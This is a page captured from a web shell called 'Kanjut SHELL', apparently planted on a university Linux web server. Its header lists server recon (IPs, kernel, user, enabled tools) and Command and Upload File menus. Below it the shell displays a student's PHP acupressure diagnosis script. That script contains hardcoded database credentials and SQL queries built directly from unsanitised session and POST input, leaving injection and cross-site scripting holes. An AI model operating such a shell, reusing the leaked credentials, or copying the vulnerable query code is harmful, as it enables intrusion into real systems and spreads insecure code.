Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.145.7.187
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/jtbegley/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jtbegley/diagnosis.php
<?php		session_start();	?>
<BODY
background="http://www.wallsave.com/wallpapers/1920x1080/zen-garden/212876/zen-garden-p-hd-taringa-x-picture-212876.jpg">
<FONT face=helvetica>
<CENTER><H2>The Diagnosis Page</H2></CENTER>
<HR>
<p>
<?php	
        $host = 'localhost';
        $user = 'kakaragiorgis';
        $pass = 'cs480';
        $database = 'kakaragiorgis';
	$table_name = 'Symptom';
	$value = $_SESSION['value'];	// this is the stuff from the previous page
	for($m=0;$m<48;$m++)
	{
		if($value[$m]!= 1)
		{$value[$m]=0;}
	}
	$menu1 = $_SESSION['menu1'];
	 
	$limit = $_POST['limit'];
	echo "Still under Construction! (Sorry)<HR>";
	$index = $_POST['symptom'];
//	$symptoms = array('S1', 'S2', 'S3', 'S4', 'S5', 'S6', 'S7', 'S8', 'S9', 'S10', 'S11', 'S12', 'S13', 'S14', 'S15', 'S16', 'S17', 'S18', 'S19', 'S20', 'S21', 'S22',
//'S23', 'S24', 'S25', 'S26', 'S27', 'S28', 'S29', 'S30', 'S31', 'S32', 'S33', 'S34', 'S35', 'S36', 'S37', 'S38', 'S39', 'S40', 'S41', 'S42', 'S43', 'S44', 'S45', 'S46', 
//'S47', 'S48');
	echo "<BR>Here are the suggested acupressure points for your symptoms: <p>";
                $i=0;
//		for($k=1; $k<49;$k++)
//		{	if($value[$k]==1)
//				$symptoms[$k]=1;
//			else
//				$symptoms[$k]=0;
//		}
                foreach ($value as $item)
                {	
			if($item > 0)
			{
			$cond = "$menu1[$item]"; $sym[$i]=$cond;
               		echo "<b>$cond </b> with $limit[$i] pain<br>";
			if($limit[$i]>50)
			{	echo "Your $cond pain is severe-- here is a shortened list of acupressure points to use:<BR>";
				$priority[$i] = 1;
				echo "priority level =  $priority[$i]<P>";
				print "<center><font size=4 color=blue>";
        			print "<p>Table $table_name Data for $cond</font><br>";
			        $connect = mysql_connect($host, $user, $pass);
			        if( !$connect )                                 
			        {       die ("Can't connect to $server using $user");	}
				else
        			{
					$j=1;
                			MYSQL_select_db($database);
                                	$SQLcmd = "SELECT Name, Cname, Link FROM $table_name where S1 = $value[0] and 
S2 = $value[1] and S3 = $value[2] and S4 = $value[3] and S5 = $value[4] and S6 = $value[5] and S7 = $value[6] and S8 = $value[7] and S9 = $value[8] 
and S10 = $value[9] and S11 = $value[10] and S12 = $value[11] and S13 = $value[12] and S14 = $value[13] and S15 = $value[14] and S16 = $value[15] and S17 = $value[16] and 
S18 = $value[17] and S19 = $value[18] and S20 = $value[19] and S21 = $value[20] and S22 = $value[21] and S23 = 
$value[22] and S24 = $value[23] and S25 = $value[24] and S26 = $value[25] and S27 = $value[26] and S28 = $value[27] and S29 = $value[28] and S30 = $value[29] and S31 = 
$value[30] and S32 = $value[31] and S33 = $value[32] and S34 = $value[33] and S35 = $value[34] and S36 = $value[35] and S37 = $value[36] and S38 = $value[37] and S39 = 
$value[38] and S40 = $value[39] and S41 = 
$value[40] and S42 = $value[41] and S43 = $value[42] and S44 = $value[43] and S45 = $value[44] and S46 = $value[45] and S47 = $value[46] and S48 = $value[47] and 
Priority = 1";
               				
//					echo "$SQLcmd";
					$results_id = mysql_query ($SQLcmd, $connect);
					if($results_id)
                			{      
                        			print "<font color=blue><table border=1>";
                        			print "<th>Point Name<th>Chinese Name<th>Link";
                        			while($row=mysql_fetch_row($results_id))
                        			{       print "<tr>";
                                			foreach ($row as $field) print "<td>$field</td>";
                                			print "</tr>";
                                                
                        			}
						echo "</center></font>";
                			}
                			else echo ( "Search failed");           
                                                 
                			mysql_close($connect);   
        			}
			//	$SQLcmd = "SELECT Name, Cname, Link FROM $table_name where $cond = $menu1[$item] and $priority[$i] = 1";	
			}
			else
			{	$priority[$i] = 0;
				echo "priority level = $priority[$i]<P>";
			        print "<center><font size=4 color=blue>";
        			print "<p>Table $table_name Data for $cond</font><br>";
			        $connect = mysql_connect($host, $user, $pass);
			        if( !$connect )                                 
			        {       die ("Can't connect to $server using $user");	}
			        else
        			{
		                         $SQLcmd = "SELECT Name, Cname, Link FROM $table_name where S1 = $value[0] and
S2 = $value[1] and S3 = $value[2] and S4 = $value[3] and S5 = $value[4] and S6 = $value[5] and S7 = $value[6] and S8 = $value[7] and S9 = $value[8]
and S10 = $value[9] and S11 = $value[10] and S12 = $value[11] and S13 = $value[12] and S14 = $value[13] and S15 = $value[14] and S16 = $value[15] and S17 = $value[16] and
S18 = $value[17] and S19 = $value[18] and S20 = $value[19] and S21 = $value[20] and S22 = $value[21] and S23 =
$value[22] and S24 = $value[23] and S25 = $value[24] and S26 = $value[25] and S27 = $value[26] and S28 = $value[27] and S29 = $value[28] and S30 = $value[29] and S31 =
$value[30] and S32 = $value[31] and S33 = $value[32] and S34 = $value[33] and S35 = $value[34] and S36 = $value[35] and S37 = $value[36] and S38 = $value[37] and S39 =
$value[38] and S40 = $value[39] and S41 =
$value[40] and S42 = $value[41] and S43 = $value[42] and S44 = $value[43] and S45 = $value[44] and S46 = $value[45] and S47 = $value[46] and S48 = $value[47] and
Priority = 0";   

                			MYSQL_select_db($database);
                			$results_id = mysql_query ($SQLcmd, $connect); 
                			if($results_id)
                			{ 
                       				print "<table border=1>";
                        			print "<th>Point Name<th>Chinese Name<th>Link";
                        			while($row=mysql_fetch_row($results_id))
                        			{       print "<tr>";
                                			foreach ($row as $field) print "<td>$field</td>";
                                			print "</tr>";
                        
                        			}
						echo "</center>";			
                			}
                			else echo ( "Search failed");
                			mysql_close($connect);
        			}	
			}
			}			
			$i++; 
                }
                echo "<hr>";

?>
<p>
<a href="http://www.youtube.com/watch?v=y9scOWA94vw">A video on how 
to massage these acupressure points.</a>
<p><a href="acupressureindex.html">Go back to the home page.</a>
</center>
</font>
</BODY>

Stv3n404 - 2023